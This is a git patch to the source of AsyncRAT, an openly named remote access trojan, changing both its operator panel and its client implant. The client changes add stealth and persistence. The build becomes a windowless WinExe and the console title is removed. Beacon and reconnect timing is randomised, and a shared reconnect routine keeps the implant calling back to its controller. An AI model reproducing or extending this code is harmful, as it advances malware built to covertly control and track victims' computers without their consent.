From af584d3810dfb8ae40b114246b1647a6ec8960c2 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Fri, 25 Jan 2019 01:22:55 -0800 Subject: [PATCH] Update --- AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs | 5 +- AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs | 5 ++ .../Handle Packet/HandlePacket.cs | 1 + AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 1 - AsyncRAT-C#/Client/Client.csproj | 4 +- AsyncRAT-C#/Client/Program.cs | 61 ++++++++++--------- 6 files changed, 44 insertions(+), 33 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs index c6805b1..6a3eb1a 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs @@ -55,7 +55,7 @@ this.listView1.GridLines = true; this.listView1.Location = new System.Drawing.Point(0, 0); this.listView1.Name = "listView1"; - this.listView1.Size = new System.Drawing.Size(849, 372); + this.listView1.Size = new System.Drawing.Size(849, 342); this.listView1.TabIndex = 0; this.listView1.UseCompatibleStateImageBehavior = false; this.listView1.View = System.Windows.Forms.View.Details; @@ -119,10 +119,11 @@ this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(849, 372); - this.Controls.Add(this.statusStrip1); this.Controls.Add(this.listView1); + this.Controls.Add(this.statusStrip1); this.Name = "Form1"; this.Text = "AsyncRAT-Sharp // NYAN CAT"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Form1_FormClosed); this.Load += new System.EventHandler(this.Form1_Load); this.contextMenuStrip1.ResumeLayout(false); this.statusStrip1.ResumeLayout(false); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs index 916d411..ffb5697 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs @@ -76,5 +76,10 @@ namespace AsyncRAT_Sharp } } + private void Form1_FormClosed(object sender, FormClosedEventArgs e) + { + Environment.Exit(0); + } + } } \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs index 6ea751f..166ed6e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs @@ -27,6 +27,7 @@ namespace AsyncRAT_Sharp.Handle_Packet client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString); client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString); Program.form1.listView1.Items.Insert(0, client.LV); + Settings.Online.Add(client); })); } break; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index 4395916..58dcd08 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -33,7 +33,6 @@ namespace AsyncRAT_Sharp.Sockets MS = new MemoryStream(); LV = null; Read += HandlePacket.Read; - Settings.Online.Add(this); Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); } diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 245e96e..0ea699d 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -5,7 +5,7 @@ Debug AnyCPU {C3C49F45-2589-4E04-9C50-71B6035C14AE} - Exe + WinExe Client Client v4.0 @@ -23,7 +23,7 @@ 4 - AnyCPU + x86 pdbonly true bin\Release\ diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index 3d094d7..e1e0cf2 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -29,7 +29,6 @@ namespace Client static void Main(string[] args) { - Console.Title = "AsyncRAT | Client"; InitializeClient(); while (true) { @@ -54,18 +53,37 @@ namespace Client MS = new MemoryStream(); BeginSend(SendInfo()); TimerCallback T = new TimerCallback(Ping); - Tick = new Timer(T, null, 15000, 30000); + Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000)); client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } catch { Console.WriteLine("Disconnected!"); - Thread.Sleep(new Random().Next(5000)); - try + Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000)); + Reconnect(); + } + } + + public static void Reconnect() + { + if (client.Connected == false) + { + if (Tick != null) { + Tick.Dispose(); + } + + if (client != null) + { + client.Close(); client.Dispose(); } - catch { } + + if (MS != null) + { + MS.Dispose(); + } + InitializeClient(); } } @@ -85,11 +103,7 @@ namespace Client { if (client.Connected == false) { - Tick.Dispose(); - client.Close(); - client.Dispose(); - MS.Dispose(); - InitializeClient(); + Reconnect(); } int Recevied = client.EndReceive(ar); @@ -132,21 +146,13 @@ namespace Client } else { - Tick.Dispose(); - client.Close(); - client.Dispose(); - MS.Dispose(); - InitializeClient(); + Reconnect(); } client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } catch { - Tick.Dispose(); - client.Close(); - client.Dispose(); - MS.Dispose(); - InitializeClient(); + Reconnect(); } } @@ -159,13 +165,14 @@ namespace Client { case "MessageBox": { - Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); + Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); } break; case "Ping": { - Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString); + + Console.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString); } break; } @@ -198,11 +205,7 @@ namespace Client } catch { - Tick.Dispose(); - client.Close(); - client.Dispose(); - MS.Dispose(); - InitializeClient(); + Reconnect(); } } } @@ -214,7 +217,9 @@ namespace Client client.EndSend(ar); } catch - { } + { + Reconnect(); + } } } } \ No newline at end of file